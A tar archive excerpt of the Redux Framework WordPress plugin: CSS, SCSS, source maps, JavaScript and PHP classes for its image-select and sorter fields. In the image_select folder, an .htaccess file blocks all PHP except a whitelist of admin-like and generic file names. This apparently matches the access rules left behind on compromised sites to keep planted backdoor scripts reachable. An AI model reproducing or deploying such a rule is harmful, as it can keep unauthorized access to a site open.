0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AACI,oDAAuB;EACnB,OAAO,EAAE,KAAK;EACd,YAAY,EAAE,KAAK;EACnB,KAAK,EAAE,IAAI;AAGf,iDAAoB;EAChB,MAAM,EAAE,YAAY;EAEpB,wDAAO;IACH,OAAO,EAAE,KAAK;IACd,gBAAgB,EAAE,IAAI;IACtB,iBAAiB,EAAE,MAAM;IACzB,KAAK,EAAE,IAAI;IACX,MAAM,EAAE,IAAI;EAGhB;0DACO;IACH,YAAY,EAAE,OAAO;EAGzB,+DAAc;IACV,aAAa,EAAE,CAAC;EAGpB,qEAAoB;IAChB,OAAO,EAAE,IAAI;AAIrB,6DAAgC;EAC5B,KAAK,EAAE,IAAI;AAGf,sDAAyB;EACrB,MAAM,EAAE,eAAe;EACvB,OAAO,EAAE,YAAY;EACrB,OAAO,EAAE,OAAO;EAChB,YAAY,EAAE,CAAC;AAGnB,0DAA6B;EACzB,gBAAgB,EAAE,OAAO;AAG7B;;;iEAGoC;EAChC,YAAY,EAAE,GAAG;EACjB,YAAY,EAAE,KAAK;AAKnB;iEAAO;EACH,YAAY,EAAE,OAAO", "sources": ["field_image_select.scss"], "names": [], "file": "field_image_select.css" }����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/image_select/field_image_select.min.js�����������������������������������0000644�����������������00000004206�14720701300�0021226 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(d){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.image_select=redux.field_objects.image_select||{},d(document).ready(function(){}),redux.field_objects.image_select.init=function(e){e||(e=d(document).find(".redux-group-tab:visible").find(".redux-container-image_select:visible")),d(e).each(function(){var r=d(this),e=r;r.hasClass("redux-field-container")||(e=r.parents(".redux-field-container:first")),e.is(":hidden")||e.hasClass("redux-field-init")&&(e.removeClass("redux-field-init"),r.find(".redux-image-select label img, .redux-image-select label .tiles").click(function(e){var t=d(this).closest("label").attr("for");if(d(this).parents("fieldset:first").find(".redux-image-select-selected").removeClass("redux-image-select-selected").find("input[type='radio']").attr("checked",!1),d(this).closest("label").find('input[type="radio"]').prop("checked"),d(this).closest("label").hasClass("redux-image-select-preset-"+t)){e.preventDefault();var i=d(this).closest("label").find("input"),s=i.data("presets"),l=i.data("merge");if(null!=l&&("string"===d.type(l)&&(l=l.split("|")),d.each(s,function(e,t){!0!==l&&-1==d.inArray(e,l)||"object"!==d.type(redux.options[e])||(s[e]=d.extend(redux.options[e],s[e]))})),null!=i)confirm(redux.args.preset_confirm)&&(r.find('label[for="'+t+'"]').addClass("redux-image-select-selected").find("input[type='radio']").attr("checked",!0),window.onbeforeunload=null,0===d("#import-code-value").length?d(this).append('<textarea id="import-code-value" style="display:none;" name="'+redux.args.opt_name+'[import_code]">'+JSON.stringify(s)+"</textarea>"):d("#import-code-value").val(JSON.stringify(s)),0!==d("#publishing-action #publish").length?d("#publish").click():d("#redux-import").click());return!1}r.find('label[for="'+t+'"]').addClass("redux-image-select-selected").find("input[type='radio']").attr("checked",!0).trigger("change"),redux_change(d(this).closest("label").find('input[type="radio"]'))}),r.find(".tiles").qtip({content:{text:function(e,t){return"<img src='"+d(this).attr("rel")+"' style='max-width:150px;' alt='' />"}},style:"qtip-tipsy",position:{my:"top center",at:"bottom center"}}))})}}(jQuery);������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/image_select/field_image_select.css��������������������������������������0000644�����������������00000002451�14720701300�0020620 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-image_select .redux-table-container{display:table;table-layout:fixed;width:100%}.redux-container-image_select .redux-image-select{margin:0 !important}.redux-container-image_select .redux-image-select .tiles{display:block;background-color:#FFF;background-repeat:repeat;width:40px;height:40px}.redux-container-image_select .redux-image-select img,.redux-container-image_select .redux-image-select .tiles{border-color:#d9d9d9}.redux-container-image_select .redux-image-select li:last-child{margin-bottom:0}.redux-container-image_select .redux-image-select input[type='radio']{display:none}.redux-container-image_select .redux-image-select-presets img{width:100%}.redux-container-image_select ul.redux-image-select li{margin:0 10px 3px 10px;display:inline-block;padding:2px 2px;padding-left:0}.redux-container-image_select .redux-image-select-selected{background-color:#f9f9f9}.redux-container-image_select .redux-image-select img,.redux-container-image_select .redux-image-select-selected img,.redux-container-image_select .redux-image-select .tiles,.redux-container-image_select .redux-image-select-selected .tiles{border-width:4px;border-style:solid}.redux-container-image_select .redux-image-select-selected .tiles,.redux-container-image_select .redux-image-select-selected .tiles{border-color:#7a7a7a} �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/image_select/field_image_select.scss�������������������������������������0000644�����������������00000002324�14720701300�0021002 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-image_select { .redux-table-container { display: table; table-layout: fixed; width: 100%; } .redux-image-select { margin: 0 !important; .tiles { display: block; background-color: #FFF; background-repeat: repeat; width: 40px; height: 40px; } img, .tiles { border-color: #d9d9d9; } li:last-child { margin-bottom: 0; } input[type='radio'] { display: none; } } .redux-image-select-presets img { width: 100%; } ul.redux-image-select li { margin: 0 10px 3px 10px; display: inline-block; padding: 2px 2px; padding-left: 0; } .redux-image-select-selected { background-color: #f9f9f9; } .redux-image-select img, .redux-image-select-selected img, .redux-image-select .tiles, .redux-image-select-selected .tiles { border-width: 4px; border-style: solid; } .redux-image-select-selected, .redux-image-select-selected { .tiles { border-color: #7a7a7a; } } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/image_select/field_image_select.php��������������������������������������0000644�����������������00000025374�14720701300�0020630 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package ReduxFramework * @subpackage Field_Images * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_image_select' ) ) { /** * Main ReduxFramework_image_select class * * @since 1.0.0 */ class ReduxFramework_image_select { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field, $value, $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { if ( ! empty( $this->field['options'] ) ) { echo '<div class="redux-table-container">'; echo '<ul class="redux-image-select">'; $x = 1; foreach ( $this->field['options'] as $k => $v ) { if ( ! is_array( $v ) ) { $v = array( 'img' => $v ); } if ( ! isset( $v['title'] ) ) { $v['title'] = ''; } if ( ! isset( $v['alt'] ) ) { $v['alt'] = $v['title']; } if ( ! isset( $v['class'] ) ) { $v['class'] = ''; } $style = ''; if ( ! empty( $this->field['width'] ) ) { $style .= 'width: ' . $this->field['width']; if ( is_numeric( $this->field['width'] ) ) { $style .= 'px'; } $style .= ';'; } else { $style .= " width: 100%; "; } if ( ! empty( $this->field['height'] ) ) { $style .= 'height: ' . $this->field['height']; if ( is_numeric( $this->field['height'] ) ) { $style .= 'px'; } $style .= ';'; } $theValue = $k; $selected = ( checked( $this->value, $theValue, false ) != '' ) ? ' redux-image-select-selected' : ''; if ( ! empty( $this->field['tiles'] ) && $this->field['tiles'] == true ) { $theValue = $v['img']; } $presets = ''; $is_preset = false; $this->field['class'] .= ' noUpdate '; if ( isset( $this->field['presets'] ) && $this->field['presets'] !== false ) { $this->field['class'] = trim($this->field['class']); if ( ! isset( $v['presets'] ) ) { $v['presets'] = array(); } if ( ! is_array( $v['presets'] ) ) { $v['presets'] = json_decode( $v['presets'], true ); } // Only highlight the preset if it's the same if ( $selected ) { if ( empty( $v['presets'] ) ) { $selected = false; } else { foreach ( $v['presets'] as $pk => $pv ) { if ( isset( $v['merge'] ) && $v['merge'] !== false ) { if( ( $v['merge'] === true || in_array( $pk, $v['merge'] ) ) && is_array( $this->parent->options[ $pk ] ) ) { $pv = array_merge( $this->parent->options[ $pk ], $pv ); } } if ( empty( $pv ) && isset( $this->parent->options[ $pk ] ) && ! empty( $this->parent->options[ $pk ] ) ) { $selected = false; } else if ( ! empty( $pv ) && ! isset( $this->parent->options[ $pk ] ) ) { $selected = false; //} else if ( isset( $this->parent->options[ $pk ] ) && $this->parent->options[ $pk ] != $pv ) { // $selected = false; } if ( ! $selected ) { // We're still not using the same preset. Let's unset that shall we? $this->value = ""; break; } } } } $v['presets']['redux-backup'] = 1; $presets = ' data-presets="' . htmlspecialchars( json_encode( $v['presets'] ), ENT_QUOTES, 'UTF-8' ) . '"'; $is_preset = true; $this->field['class'] = trim( $this->field['class'] ) . ' redux-presets'; } $is_preset_class = $is_preset ? '-preset-' : ' '; $merge = ''; if ( isset( $v['merge'] ) && $v['merge'] !== false ) { $merge = is_array( $v['merge'] ) ? implode( '|', $v['merge'] ) : 'true'; $merge = ' data-merge="' . htmlspecialchars( $merge, ENT_QUOTES, 'UTF-8' ) . '"'; } echo '<li class="redux-image-select">'; echo '<label class="' . $selected . ' redux-image-select' . $is_preset_class . $this->field['id'] . '_' . $x . '" for="' . $this->field['id'] . '_' . ( array_search( $k, array_keys( $this->field['options'] ) ) + 1 ) . '">'; echo '<input type="radio" class="' . $this->field['class'] . '" id="' . $this->field['id'] . '_' . ( array_search( $k, array_keys( $this->field['options'] ) ) + 1 ) . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '" value="' . $theValue . '" ' . checked( $this->value, $theValue, false ) . $presets . $merge . '/>'; if ( ! empty( $this->field['tiles'] ) && $this->field['tiles'] == true ) { echo '<span class="tiles ' . $v['class'] . '" style="background-image: url(' . $v['img'] . ');" rel="' . $v['img'] . '""> </span>'; } else { echo '<img src="' . $v['img'] . '" title="'. $v['alt'] . '" alt="' . $v['alt'] . '" class="' . $v['class'] . '" style="' . $style . '"' . $presets . $merge . ' />'; } if ( $v['title'] != '' ) { echo '<br /><span>' . $v['title'] . '</span>'; } echo '</label>'; echo '</li>'; $x ++; } echo '</ul>'; echo '</div>'; } } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { wp_enqueue_script( 'redux-field-image-select-js', ReduxFramework::$_url . 'inc/fields/image_select/field_image_select' . Redux_Functions::isMin() . '.js', array( 'jquery', 'redux-js' ), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-field-image-select-css', ReduxFramework::$_url . 'inc/fields/image_select/field_image_select.css', array(), time(), 'all' ); } } public function getCSS( $mode = '' ) { $css = ''; $value = $this->value; $output = ''; if ( ! empty( $value ) && ! is_array($value) ) { switch ( $mode ) { case 'background-image': $output = "background-image: url('" . $value . "');"; break; default: $output = $mode . ": " . $value . ";"; } } $css .= $output; return $css; } public function output() { $mode = ( isset( $this->field['mode'] ) && ! empty( $this->field['mode'] ) ? $this->field['mode'] : 'background-image' ); if ( ( ! isset( $this->field['output'] ) || ! is_array( $this->field['output'] ) ) && ( ! isset( $this->field['compiler'] ) ) ) { return; } $style = $this->getCSS( $mode ); if ( ! empty( $style ) ) { if ( ! empty( $this->field['output'] ) && is_array( $this->field['output'] ) ) { $keys = implode( ",", $this->field['output'] ); $style = $keys . "{" . $style . '}'; $this->parent->outputCSS .= $style; } if ( ! empty( $this->field['compiler'] ) && is_array( $this->field['compiler'] ) ) { $keys = implode( ",", $this->field['compiler'] ); $style = $keys . "{" . $style . '}'; $this->parent->compilerCSS .= $style; } } } } }��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/image_select/.htaccess���������������������������������������������������0000644�����������������00000001626�14720701300�0016123 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/sorter/field_sorter.css.map����������������������������������������������0000644�����������������00000002110�14720701300�0017156 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AAAA,uBAAwB;EACpB,YAAY,EAAE,KAAK;EAEnB,0BAAG;IACC,UAAU,EAAE,OAAO;IACnB,MAAM,EAAE,iBAAiB;IACzB,UAAU,EAAE,IAAI;IAChB,OAAO,EAAE,WAAW;IACpB,KAAK,EAAE,KAAK;IACZ,KAAK,EAAE,IAAI;IACX,MAAM,EAAE,UAAU;IAElB,iCAAS;MACL,OAAO,EAAE,EAAE;MACX,MAAM,EAAE,iBAAiB;MAAE,yBAAyB;MACpD,UAAU,EAAE,OAAO;IAGvB,6BAAG;MACC,MAAM,EAAE,iBAAiB;MACzB,MAAM,EAAE,IAAI;MACZ,WAAW,EAAE,IAAI;MACjB,aAAa,EAAE,eAAe;MAC9B,OAAO,EAAE,MAAM;MACf,MAAM,EAAE,IAAI;MACZ,WAAW,EAAE,eAAe;MAC5B,gBAAgB,EAAE,OAAO;MACzB,gBAAgB,EAAE,0CAA0C;MAC5D,gBAAgB,EAAE,2CAA2C;MAC7D,gBAAgB,EAAE,yCAAyC;MAC3D,gBAAgB,EAAE,2EAA2E;MAC7F,gBAAgB,EAAE,8CAA8C;MAChE,gBAAgB,EAAE,sCAAsC;MACxD,QAAQ,EAAE,MAAM;MAChB,qBAAqB,EAAE,GAAG;MAC1B,kBAAkB,EAAE,GAAG;MACvB,aAAa,EAAE,GAAG;MAClB,eAAe,EAAE,kBAAkB;MACnC,kBAAkB,EAAE,kBAAkB;MACtC,UAAU,EAAE,kBAAkB;MAC9B,UAAU,EAAE,MAAM;MAElB,gCAAG;QACC,MAAM,EAAE,QAAQ;QAChB,UAAU,EAAE,MAAM;QAClB,KAAK,EAAE,IAAI;QACX,cAAc,EAAE,UAAU;QAC1B,SAAS,EAAE,UAAU;MAGzB,yCAAc;QACV,MAAM,EAAE,IAAI;;AAOxB,yCAA2B;EACvB,KAAK,EAAE,GAAG;EACV,MAAM,EAAE,SAAS", "sources": ["field_sorter.scss"], "names": [], "file": "field_sorter.css" }��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/sorter/field_sorter.php��������������������������������������������������0000644�����������������00000021437�14720701300�0016416 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'ReduxFramework_sorter' ) ) { class ReduxFramework_sorter { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since Redux_Options 1.0.0 */ function __construct( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } private function replace_id_with_slug( $arr ) { $new_arr = array(); if ( ! empty( $arr ) ) { foreach ( $arr as $id => $name ) { if ( is_numeric( $id ) ) { $slug = strtolower( $name ); $slug = str_replace( ' ', '-', $slug ); $new_arr[ $slug ] = $name; } else { $new_arr[ $id ] = $name; } } } return $new_arr; } private function is_value_empty( $val ) { if ( ! empty( $val ) ) { foreach ( $val as $section => $arr ) { if ( ! empty( $arr ) ) { return false; } } } return true; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 */ function render() { if ( ! is_array( $this->value ) && isset( $this->field['options'] ) ) { $this->value = $this->field['options']; } if ( ! isset( $this->field['args'] ) ) { $this->field['args'] = array(); } if ( isset( $this->field['data'] ) ) { $this->field['options'] = $this->parent->options_defaults[ $this->field['id'] ]; } // Make sure to get list of all the default blocks first $all_blocks = ! empty( $this->field['options'] ) ? $this->field['options'] : array(); $temp = array(); // holds default blocks $temp2 = array(); // holds saved blocks foreach ( $all_blocks as $blocks ) { $temp = array_merge( $temp, $blocks ); } $temp = $this->replace_id_with_slug( $temp ); if ( $this->is_value_empty( $this->value ) ) { if ( ! empty( $this->field['options'] ) ) { $this->value = $this->field['options']; } } $sortlists = $this->value; if ( ! empty( $sortlists ) ) { foreach ( $sortlists as $section => $arr ) { $arr = $this->replace_id_with_slug( $arr ); $sortlists[ $section ] = $arr; $this->value[$section] = $arr; } } if ( is_array( $sortlists ) ) { foreach ( $sortlists as $sortlist ) { $temp2 = array_merge( $temp2, $sortlist ); } // now let's compare if we have anything missing foreach ( $temp as $k => $v ) { // k = id/slug // v = name if ( ! empty( $temp2 ) ) { if ( ! array_key_exists( $k, $temp2 ) ) { if (isset($sortlists['Disabled'])) { $sortlists['Disabled'][ $k ] = $v; } else { $sortlists['disabled'][ $k ] = $v; } } } } // now check if saved blocks has blocks not registered under default blocks foreach ( $sortlists as $key => $sortlist ) { // key = enabled, disabled, backup // sortlist = id => name foreach ( $sortlist as $k => $v ) { // k = id // v = name if ( ! array_key_exists( $k, $temp ) ) { unset( $sortlist[ $k ] ); } } $sortlists[ $key ] = $sortlist; } // assuming all sync'ed, now get the correct naming for each block foreach ( $sortlists as $key => $sortlist ) { foreach ( $sortlist as $k => $v ) { $sortlist[ $k ] = $temp[ $k ]; } $sortlists[ $key ] = $sortlist; } if ( $sortlists ) { echo '<fieldset id="' . esc_attr($this->field['id']) . '" class="redux-sorter-container redux-sorter">'; foreach ( $sortlists as $group => $sortlist ) { $filled = ""; if ( isset( $this->field['limits'][ $group ] ) && count( $sortlist ) >= $this->field['limits'][ $group ] ) { $filled = " filled"; } echo '<ul id="' . esc_attr($this->field['id'] . '_' . $group) . '" class="sortlist_' . esc_attr($this->field['id'] . $filled) . '" data-id="' . esc_attr($this->field['id']) . '" data-group-id="' . esc_attr($group) . '">'; echo '<h3>' . esc_html($group) . '</h3>'; if ( ! isset( $sortlist['placebo'] ) ) { array_unshift( $sortlist, array( "placebo" => "placebo" ) ); } foreach ( $sortlist as $key => $list ) { if ( empty( $key ) || is_array( $list ) || $key == "placebo" ) { continue; } echo '<input class="sorter-placebo" type="hidden" name="' . esc_attr( $this->field['name'] ) . '[' . $group . '][placebo]' . esc_attr( $this->field['name_suffix'] ) . '" value="placebo">'; echo '<li id="sortee-' . esc_attr( $key ) . '" class="sortee" data-id="' . esc_attr( $key ) . '">'; echo '<input class="position ' . esc_attr( $this->field['class'] ) . '" type="hidden" name="' . esc_attr( $this->field['name'] . '[' . $group . '][' . $key . ']' . $this->field['name_suffix'] ) . '" value="' . esc_attr( $list ) . '">'; echo esc_html( $list ); echo '</li>'; } echo '</ul>'; } echo '</fieldset>'; } } } function enqueue() { if ( $this->parent->args['dev_mode'] ) { wp_enqueue_style( 'redux-field-sorder-css', ReduxFramework::$_url . 'inc/fields/sorter/field_sorter.css', array(), time(), 'all' ); } wp_enqueue_script( 'redux-field-sorter-js', ReduxFramework::$_url . 'inc/fields/sorter/field_sorter' . Redux_Functions::isMin() . '.js', array( 'jquery', 'redux-js', 'jquery-ui-sortable' ), time(), true ); } /** * Functions to pass data from the PHP to the JS at render time. * * @return array Params to be saved as a javascript object accessable to the UI. * @since Redux_Framework 3.1.5 */ function localize( $field, $value = "" ) { $params = array(); if ( isset( $field['limits'] ) && ! empty( $field['limits'] ) ) { $params['limits'] = $field['limits']; } if ( empty( $value ) ) { $value = $this->value; } $params['val'] = $value; return $params; } } }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/sorter/field_sorter.js���������������������������������������������������0000644�����������������00000014525�14720701300�0016243 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*global redux, redux_opts*/ /* * Field Sorter jquery function * Based on * [SMOF - Slightly Modded Options Framework](http://aquagraphite.com/2011/09/slightly-modded-options-framework/) * Version 1.4.2 */ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.sorter = redux.field_objects.sorter || {}; var scroll = ''; $( document ).ready( function() { //redux.field_objects.sorter.init(); } ); redux.field_objects.sorter.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-sorter:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } /** Sorter (Layout Manager) */ el.find( '.redux-sorter' ).each( function() { var id = $( this ).attr( 'id' ); el.find( '#' + id ).find( 'ul' ).sortable( { items: 'li', placeholder: "placeholder", connectWith: '.sortlist_' + id, opacity: 0.8, scroll: false, out: function( event, ui ) { if ( !ui.helper ) return; if ( ui.offset.top > 0 ) { scroll = 'down'; } else { scroll = 'up'; } redux.field_objects.sorter.scrolling( $( this ).parents( '.redux-field-container:first' ) ); }, over: function( event, ui ) { scroll = ''; }, deactivate: function( event, ui ) { scroll = ''; }, stop: function( event, ui ) { var sorter = redux.sorter[$( this ).attr( 'data-id' )]; var id = $( this ).find( 'h3' ).text(); if ( sorter.limits && id && sorter.limits[id] ) { if ( $( this ).children( 'li' ).length >= sorter.limits[id] ) { $( this ).addClass( 'filled' ); if ( $( this ).children( 'li' ).length > sorter.limits[id] ) { $( ui.sender ).sortable( 'cancel' ); } } else { $( this ).removeClass( 'filled' ); } } }, update: function( event, ui ) { var sorter = redux.sorter[$( this ).attr( 'data-id' )]; var id = $( this ).find( 'h3' ).text(); if ( sorter.limits && id && sorter.limits[id] ) { if ( $( this ).children( 'li' ).length >= sorter.limits[id] ) { $( this ).addClass( 'filled' ); if ( $( this ).children( 'li' ).length > sorter.limits[id] ) { $( ui.sender ).sortable( 'cancel' ); } } else { $( this ).removeClass( 'filled' ); } } $( this ).find( '.position' ).each( function() { //var listID = $( this ).parent().attr( 'id' ); var listID = $( this ).parent().attr( 'data-id' ); var parentID = $( this ).parent().parent().attr( 'data-group-id' ); redux_change( $( this ) ); var optionID = $( this ).parent().parent().parent().attr( 'id' ); $( this ).prop( "name", redux.args.opt_name + '[' + optionID + '][' + parentID + '][' + listID + ']' ); } ); } } ); el.find( ".redux-sorter" ).disableSelection(); } ); } ); }; redux.field_objects.sorter.scrolling = function( selector ) { if (selector === undefined) { return; } var scrollable = selector.find( ".redux-sorter" ); if ( scroll == 'up' ) { scrollable.scrollTop( scrollable.scrollTop() - 20 ); setTimeout( redux.field_objects.sorter.scrolling, 50 ); } else if ( scroll == 'down' ) { scrollable.scrollTop( scrollable.scrollTop() + 20 ); setTimeout( redux.field_objects.sorter.scrolling, 50 ); } }; })( jQuery );���������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/sorter/field_sorter.min.js�����������������������������������������������0000644�����������������00000004073�14720701300�0017022 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(s){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.sorter=redux.field_objects.sorter||{};var i="";s(document).ready(function(){}),redux.field_objects.sorter.init=function(e){e||(e=s(document).find(".redux-group-tab:visible").find(".redux-container-sorter:visible")),s(e).each(function(){var t=s(this),e=t;t.hasClass("redux-field-container")||(e=t.parents(".redux-field-container:first")),e.is(":hidden")||e.hasClass("redux-field-init")&&(e.removeClass("redux-field-init"),t.find(".redux-sorter").each(function(){var e=s(this).attr("id");t.find("#"+e).find("ul").sortable({items:"li",placeholder:"placeholder",connectWith:".sortlist_"+e,opacity:.8,scroll:!1,out:function(e,t){t.helper&&(i=0<t.offset.top?"down":"up",redux.field_objects.sorter.scrolling(s(this).parents(".redux-field-container:first")))},over:function(e,t){i=""},deactivate:function(e,t){i=""},stop:function(e,t){var i=redux.sorter[s(this).attr("data-id")],r=s(this).find("h3").text();i.limits&&r&&i.limits[r]&&(s(this).children("li").length>=i.limits[r]?(s(this).addClass("filled"),s(this).children("li").length>i.limits[r]&&s(t.sender).sortable("cancel")):s(this).removeClass("filled"))},update:function(e,t){var i=redux.sorter[s(this).attr("data-id")],r=s(this).find("h3").text();i.limits&&r&&i.limits[r]&&(s(this).children("li").length>=i.limits[r]?(s(this).addClass("filled"),s(this).children("li").length>i.limits[r]&&s(t.sender).sortable("cancel")):s(this).removeClass("filled")),s(this).find(".position").each(function(){var e=s(this).parent().attr("data-id"),t=s(this).parent().parent().attr("data-group-id");redux_change(s(this));var i=s(this).parent().parent().parent().attr("id");s(this).prop("name",redux.args.opt_name+"["+i+"]["+t+"]["+e+"]")})}}),t.find(".redux-sorter").disableSelection()}))})},redux.field_objects.sorter.scrolling=function(e){if(void 0!==e){var t=e.find(".redux-sorter");"up"==i?(t.scrollTop(t.scrollTop()-20),setTimeout(redux.field_objects.sorter.scrolling,50)):"down"==i&&(t.scrollTop(t.scrollTop()+20),setTimeout(redux.field_objects.sorter.scrolling,50))}}}(jQuery);���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/sorter/field_sorter.css��������������������������������������������������0000644�����������������00000002451�14720701300�0016412 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-sorter{margin-right:-20px}.redux-container-sorter ul{background:#F9F9F9;border:1px solid #E3E3E3;min-height:40px;padding:10px 10px 0;width:145px;float:left;margin:0 15px 0 0}.redux-container-sorter ul.filled{opacity:.7;filter:alpha(opacity=70);background:#efecec}.redux-container-sorter ul li{border:1px solid #DFDFDF;cursor:move;font-weight:bold;margin-bottom:10px !important;padding:0 10px;height:40px;line-height:40px !important;background-color:#F1F1F1;background-image:-ms-linear-gradient(top, #f9f9f9, #ececec);background-image:-moz-linear-gradient(top, #f9f9f9, #ececec);background-image:-o-linear-gradient(top, #f9f9f9, #ececec);background-image:-webkit-gradient(linear, left top, left bottom, from(#f9f9f9), to(#ececec));background-image:-webkit-linear-gradient(top, #f9f9f9, #ececec);background-image:linear-gradient(top, #f9f9f9, #ececec);overflow:hidden;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-moz-box-shadow:inset 0 1px 0 #fff;-webkit-box-shadow:inset 0 1px 0 #fff;box-shadow:inset 0 1px 0 #fff;text-align:center}.redux-container-sorter ul li h3{margin:0 0 10px;text-align:center;color:#777;text-transform:capitalize;word-wrap:break-word}.redux-container-sorter ul li.placeholder{height:40px}.wp-customizer .redux-container-sorter ul{width:85%;margin:0 0 5px 0} �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/sorter/field_sorter.scss�������������������������������������������������0000644�����������������00000003552�14720701300�0016600 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-sorter { margin-right: -20px; ul { background: #F9F9F9; border: 1px solid #E3E3E3; min-height: 40px; padding: 10px 10px 0; width: 145px; float: left; margin: 0 15px 0 0; &.filled { opacity: .7; filter: alpha(opacity=70); /* For IE8 and earlier */ background: #efecec; } li { border: 1px solid #DFDFDF; cursor: move; font-weight: bold; margin-bottom: 10px !important; padding: 0 10px; height: 40px; line-height: 40px !important; background-color: #F1F1F1; background-image: -ms-linear-gradient(top, #f9f9f9, #ececec); background-image: -moz-linear-gradient(top, #f9f9f9, #ececec); background-image: -o-linear-gradient(top, #f9f9f9, #ececec); background-image: -webkit-gradient(linear, left top, left bottom, from(#f9f9f9), to(#ececec)); background-image: -webkit-linear-gradient(top, #f9f9f9, #ececec); background-image: linear-gradient(top, #f9f9f9, #ececec); overflow: hidden; -webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; -moz-box-shadow: inset 0 1px 0 #fff; -webkit-box-shadow: 